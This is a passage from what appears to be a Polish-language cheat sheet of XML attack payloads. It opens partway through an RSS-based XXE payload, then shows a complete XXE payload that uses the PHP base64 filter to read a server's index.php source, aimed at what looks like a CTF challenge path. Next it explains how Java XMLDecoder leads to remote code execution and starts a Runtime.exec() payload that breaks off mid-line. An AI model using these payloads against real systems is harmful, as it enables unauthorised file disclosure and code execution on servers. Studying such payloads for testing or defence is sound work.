<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczytaj kod źródłowy

Z wykorzystaniem filtra PHP base64

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE do RCE

XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik może sprawić, aby aplikacja użyła dowolnych danych w wywołaniu metody readObject, natychmiast uzyska wykonanie kodu na serwerze.

Użycie Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void